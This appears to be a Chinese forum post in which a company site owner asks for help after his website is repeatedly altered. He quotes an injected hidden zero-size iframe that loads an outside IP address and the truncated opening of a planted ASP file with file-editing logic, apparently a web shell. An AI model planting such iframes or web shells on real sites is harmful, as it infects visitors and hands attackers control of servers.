我公司网站经常被人修改,大家帮我看看
最近一周来,我们网站(www.68bj.cn)经常被人修改,每个网页添加一些代码,如: <iframe   src=http://125.91.14.111   width=0   height=0> </iframe> ,还有在网站根目录多了几个网页文件,请大家帮我看下网站有什么漏洞吗?
其实一个文件代码:

<%
Server.ScriptTimeout=10000  
Response.Buffer=False  
%>  
<html>  
<head>  
<title> </title>

If   ex <> " "   AND   pth <> " "   Then  
select   Case   ex  
Case   "edit "  
CALL   file_show(pth)
